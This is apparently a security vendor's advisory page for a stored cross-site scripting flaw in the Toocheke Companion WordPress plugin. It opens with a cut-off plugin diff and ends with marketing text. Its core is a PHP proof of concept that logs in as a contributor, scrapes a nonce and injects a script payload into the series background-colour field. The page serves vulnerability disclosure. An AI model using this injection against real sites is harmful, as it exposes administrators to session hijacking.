-                    $html = $html . "<a href='" . esc_url($tipeee_url) . "' title='Support with Tipeee' target='_blank'>" . wp_kses($tipeee_button, $allowed_tags) . "</a>";
-                }
-                echo $html;
-            }
-
-            public function toocheke_update_edit_form()
-            {
-                echo ' enctype="multipart/form-data"';
-            }
-
-            public function toocheke_frontend_styles_and_scripts()
-            {
-                //enqueue keyboard nav js.
-                $disable_keyboard = get_option('toocheke-keyboard') && 1 == get_option('toocheke-keyboard');
-                if (! $disable_keyboard):
-                    wp_enqueue_script('toocheke-keyboard-script', plugins_url('toocheke-companion' . '/js/keyboard.js'), ['jquery'], TOOCHEKE_COMPANION_VERSION, true);
-                    wp_enqueue_script('toocheke-keyboard-script');
-                endif;
-                //bookmark
-                wp_enqueue_script('toocheke-bookmark-script', plugins_url('toocheke-companion' . '/js/bookmark.js'), ['

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15604 - Toocheke Companion <= 2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'series_bg_color' Post Meta

$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'contributor_user';       // Replace with a valid contributor username
$password = 'contributor_password';   // Replace with the user's password

// Step 1: Login to WordPress to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the admin-ajax.php nonce. This is necessary for most WordPress admin AJAX actions.
// The nonce is usually available in the page source of the admin area.
// For this PoC, we will use a direct post meta update via an AJAX-like request.
// To get the nonce, we first fetch the series list or a series edit page.
$admin_url = $target_url . '/wp-admin/edit.php?post_type=series';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_page = curl_exec($ch);
curl_close($ch);

// Parse a nonce from the page. The nonce field name is usually 'toocheke_series_bg_color_nonce'
// but this is a PoC and assumes the nonce exists. In a real attack, you would need to extract it.
preg_match('/name="toocheke_series_bg_color_nonce" value="([a-f0-9]+)"/i', $admin_page, $matches);
if (empty($matches[1])) {
    die('Failed to extract nonce. The PoC might need adjustment for the target plugin version.');
}
$nonce = $matches[1];

// Step 3: Prepare the XSS payload
$payload = '");</div><script>alert("XSS_VULNERABILITY_CONFIRMED")</script><div style="background-color: red;';

// Step 4: Send a request to update the series post meta.
// This is a simplified example. In the real plugin, the update is handled by a
// function like toocheke_series_bg_color_save(). The exact AJAX action or form submit
// endpoint needs to be identified.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'save_series_bg_color', // Placeholder - use the actual action hook
    'post_id' => 123,                  // ID of a series post we have access to
    'series_bg_color' => $payload,
    'nonce' => $nonce
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 5: Verify the attack by fetching the series list as an admin.
// The XSS will trigger when the admin views the list.
// This step is for demonstration; an attacker would rely on the admin viewing the page.
echo 'Payload submitted. XSS will trigger when an admin views the series list table.n';

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.